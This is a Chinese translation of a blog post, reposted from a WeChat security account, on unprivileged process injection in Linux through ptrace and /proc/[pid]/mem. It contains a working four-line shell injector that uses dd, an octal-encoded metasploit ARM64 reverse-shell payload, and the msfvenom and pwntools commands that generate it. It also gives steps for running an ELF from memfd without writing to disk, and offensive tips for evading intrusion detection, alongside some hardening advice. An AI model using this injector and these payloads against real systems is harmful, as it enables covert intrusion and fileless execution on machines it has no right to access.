在这篇文章中,我将介绍 Linux 上进程注入实现的历史,并分享一种略有不同且更简单的实现,旨在学习和可移植性。
在对 Linux 系统进行渗透测试时,你经常会遇到一种常见的情况:你以非 root 用户身份执行命令,并希望暂存一些本机代码以在目标上运行。有许多方法可以实现这一点,但它们大致可以分为以下几类:
使用 shell 命令将本机代码写入某处的文件,或者exec()代码LD_PRELOAD。
使用ptrace()或/proc/PID/mem调试牺牲受害者进程并将您的本机代码植入其中。
1 号也有缺点;你需要一个解码例程,因为 shell 脚本不能包含二进制数据。此外,你需要一个磁盘上的可写位置;这在只读 chroot、文件系统、容器等中并不总是正确的。最后,许多入侵检测系统专门寻找 1 号并对其发出警报,因为恶意软件的典型行为是以直接且广泛兼容的方式准备和运行本机植入物。
这篇文章将讨论#2。
使用 ptrace() 进行进程注入
在 Linux 上,您可以使用ptracesyscall 远程控制进程的执行并读取/写入其内存。这是一个在受感染的进程中触发的非常可疑的系统调用,并且从命令注入入口点没有太多方法可以控制它(gdb一种方法)。此外,大多数 Linux 发行版都实现了一个sysctl调用,用于控制非特权用户kernel/yama/ptrace_scope可以访问哪些进程:ptraced
The sysctl settings (writable only with CAP_SYS_PTRACE) are:
0 - classic ptrace permissions: a process can PTRACE_ATTACH to any other
process running under the same uid, as long as it is dumpable (i.e.
did not transition uids, start privileged, or have called
prctl(PR_SET_DUMPABLE...) already). Similarly, PTRACE_TRACEME is
unchanged.
1 - restricted ptrace: a process must have a predefined relationship
with the inferior it wants to call PTRACE_ATTACH on. By default,
this relationship is that of only its descendants when the above
classic criteria is also met. To change the relationship, an
inferior can call prctl(PR_SET_PTRACER, debugger, ...) to declare
an allowed debugger PID to call PTRACE_ATTACH on the inferior.
Using PTRACE_TRACEME is unchanged.
2 - admin-only attach: only processes with CAP_SYS_PTRACE may use ptrace
with PTRACE_ATTACH, or through children calling PTRACE_TRACEME.
3 - no attach: no processes may use ptrace with PTRACE_ATTACH nor via
PTRACE_TRACEME. Once set, this sysctl value cannot be changed.
大多数现代生产系统都设置了1,即“受限 ptrace”,这意味着非 root 用户实际上只能访问ptrace子进程。因此,注入代码的一种简单方法是启动一个sleep子进程,使用 附加到它exec gdb,然后转到当前指令指针并用 shellcode 覆盖它指向的内存。但同样,这需要gdb机器(通常很少见)并且非常嘈杂。
在防御方面,设置2通常是一个很好的建议,因为它可以防止在没有管理员权限的情况下进行任何运行时调试恶作剧,并且否定了非 root 用户的整个类别的技术。
/proc/[pid]/mem 设备
在 Linux 系统上, mount为命名空间中的所有进程procfs实现设备文件,可在 处获取。这些设备允许使用标准文件系统系统调用来操作远程进程内存。在幕后,它们或多或少是现有系统调用部分的克隆;实际上使用相同的sysctl 和生成的权限。mem/proc/[pid]/memptraceptrace_scope
这样我们就可以使用标准(util-linux和coreutils)命令(如dd或printf)通过这些设备文件查找和覆盖远程进程内存;这让我们可以安静地暂存本机代码,而无需在磁盘上设置可写位置或依赖深奥的二进制文件。因此,我见过的 Linux 上几乎所有进程注入的实现都使用了/proc/[pid]/mem注入。
在防御方面,考虑对异常尝试ptrace()或open("/proc/*/mem", "w")
/proc/[pid]/mem 注入简史
我第一次看到这种技术是在 2017 年,当时在一篇博客文章中提到的GDSSecurity/Cegua工具中。我将在下面总结一下,因为作者的做法很聪明,但也有些疯狂,但无论如何,它完成了他们的工作:
-
产生子进程
-
读取/proc/[pid]/maps子进程堆栈的地址
-
kill -STOP the child
-
打开子进程的/proc/[pid]/mem设备
-
使用 GNU 二进制文件grep...动态搜索 rop 小工具并构建将枢轴堆叠到 shellcode 中的 rop 链(????)
-
使用ddrop 链和 shellcode 覆盖子进程的堆栈内存
-
kill -CONT the child
这真是太酷了,但正如作者后来承认的那样,ROP 链是不必要的。只需将一些 shellcode 放入内存并让远程进程执行它就足够了,作者最终意识到了这一点。
如果您想知道“为什么可以覆盖进程的可执行内存而不更改内存的 NX 标志?”,基本上,Linux 内核会在使用ptrace写入调用时禁用写入保护,以方便开发人员。关于如何在基于硬件的内存保护等情况下实现这一点的良好解释可以在此处找到。
2018 年,Sektor7 的 rb 撰写了一篇全面的文章:https://blog.sektor7.net/#!res/2018/pure-in-memory-linux.md,介绍了 Linux 上内存中 shellcode 注入的使用ptrace和/proc/*/mem技术。我强烈建议您先阅读这篇文章,因为它在最后提供了一个简单(但依赖于版本/偏移量)的注入脚本示例。
在此之后,出现了许多使用类似的、不断发展的 Linux 进程注入技术开发的工具。DavidBuchanan314/dlinject是一种更直接的实现,但需要目标上有 python。arget13/DDexec通过使用 而不是 python 来改进这一点/bin/sh,并研究和记录如何避免命令依赖性。DDExec通过在分叉的 shell 进程中覆盖来工作/proc/self/mem;这有点像一个进程对自己进行脑部手术🤯。最近,同一位dlinject作者写了DavidBuchanan314/stelf-loader:https://github.com/DavidBuchanan314/stelf-loader,它建立在这种方法的基础上,但有一个非常有趣的实现——它允许您提供 ELF 输入而不是 shellcode,并为您透明地将其加载到内存中。
从进攻角度来说,编写在所有 Linux 发行版(和现代容器)上运行的工具本身就是一门艺术。在我看来,编写永久有效的工具的最佳建议是:了解POSIX shell 规范,并尽量避免exec()调用其他命令 - 如果必须,只依赖广泛的软件包:utils-linux和coreutils是很好的起点。
推出我们自己的简单实现
在回顾了这里的最新技术之后,我喜欢使用一种更愚蠢的方法:这种方法只需要很少的努力就能实现,但仍然保留了跨 Linux 环境的广泛兼容性。它只是这样做:
-
从 shell 中,打开一个写入 fd 到/proc/self/mem
-
读取以找到系统调用/proc/self/syscall的返回地址read()
-
在子 shell 中,使用 fd 跳过到此地址dd skip=...,然后编写 shellcode 有效负载
-
然后父进程将从read()子进程触发payload
这段代码仅要求dd(部分coreutils),其他什么都不需要。它可以用 4 行可移植的 POSIX shell 脚本编写,如下所示:
PAYLOAD='�02�00240343�01�20240343�05�40201342214160'
'240343215160207342�00�00�00357�00140240341140�20'
'217342�20�40240343215160240343216160207342�00�00'
'�00357�06�00240341�00�20240343�77160240343�00�00'
'�00357�06�00240341�01�20240343�77160240343�00�00'
'�00357�06�00240341�02�20240343�77160240343�00�00'
'�00357�44�00217342�04100�44340�20�00�55351�15�40'
'240341�44100217342�20�00�55351�15�20240341�13160'
'240343�00�00�00357�02�00�25263177�00�00�01�57142'
'151156�57163150�00�00�00�00�00�00�00�00�00163150'
'�00�00�00�00�00�00�00�00�00�00�00�00�00�00'
(
exec 5>/proc/self/mem
read -r _ _ _ _ _ _ _ _ ADDR </proc/self/syscall
( dd count=0 bs=1 skip=$((ADDR)) <&5; printf "${PAYLOAD}" >&5 )
) &
专业提示:进攻时,使用printf八进制解码 shell 脚本中嵌入的二进制数据;这是POSIX规范�00保证的唯一二进制解码例程。sh
上面的 shellcode 适用于ARM64架构,由 metasploit 生成并编码为八进制;它将 TCP 反向 shell 连接到 上的侦听器127.0.0.1:5555。下面是我生成它的方式(用于aarch64ARM64 和x64X86_64):
$ docker run -it metasploitframework/metasploit-framework bash
> ./msfvenom -p linux/aarch64/shell_reverse_tcp lhost=127.0.0.1 lport=5555 -f raw |
ruby -e 'STDIN.read.bytes.each { |b| printf "\%03o", b }'
当然,反向 shell 负载根本不实用;在这种情况下,我们已经有命令执行了。更有用的做法是创建一个内存支持的 fd,然后我们可以将任意 ELF 可执行文件写入并执行。因此,我们将稍微调整 shellcode 负载以执行此操作。您可以使用metasm_shell.rb在 metasploit 中执行此操作,但pwntools在我看来,这会让事情变得更容易一些,因为它与架构无关。我们将让 shellcode 调用memfd_create,然后向其自身发送一个,SIG_STOP以便我们可以使用原始 shell 中的 memfd:
$ docker run --platform linux/amd64 -it pwntools/pwntools
pwntools@d7869fd2a307:/$ python
>>> from pwn import *
import sys
context.arch = 'arm64'
sc = asm(shellcraft.memfd_create("", 0)) + asm(shellcraft.kill(0, 19))
output = ""
for b in sc:
output += "\%03o" % (b)
print("PAYLOAD='%s'" % (output))
得出的结果是:
PAYLOAD='356�03�37252356�17�37370340�03�00221341�03�37'
'252350�42200322�01�00�00324340�03�37252141�02200322'
'�50�20200322�01�00�00324'
执行上述shellcode后,我们可以通过查询子进程找到可写的memfd句柄号:
$ CHILD=$!
$ ls -al /proc/$CHILD/fd/
total 0
dr-x------ 2 msf msf 0 Aug 29 20:45 .
dr-xr-xr-x 9 msf msf 0 Aug 29 20:44 ..
lrwx------ 1 msf msf 64 Aug 29 20:45 0 -> /dev/pts/0
lrwx------ 1 msf msf 64 Aug 29 20:45 1 -> /dev/pts/0
lrwx------ 1 msf msf 64 Aug 29 20:45 2 -> /dev/pts/0
lrwx------ 1 msf msf 64 Aug 29 20:45 255 -> /dev/pts/0
lrwx------ 1 msf msf 64 Aug 29 20:45 3 -> /memfd: (deleted)
l-wx------ 1 msf msf 64 Aug 29 20:45 5 -> /proc/123/mem
然后,我们可以使用一系列printf语句将我们的 ELF 可执行文件写入memfdfd#3,并像平常一样执行它。
$ printf '...' >> /proc/$CHILD/fd/3
$ /proc/$CHILD/fd/3 &
这是在 Linux 上运行可执行文件而不接触磁盘的一种方法。此方法应该适用于所有 Linux 发行版,前提sys/kernel/yama/ptrace_scope是设置为 1 或更低,并且ddbin 可用。如果偶然dd缺少(dd是 coreutils 的一部分,但您永远不知道),请参阅DDExec以获取替代常用 Linux 命令列表,这些命令将搜索文件描述符到所需的偏移量。
参考:
https://joev.dev/posts/unprivileged-process-injection-techniques-in-linux
原文始发于微信公众号(Ots安全):Linux 中的非特权进程注入技术
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论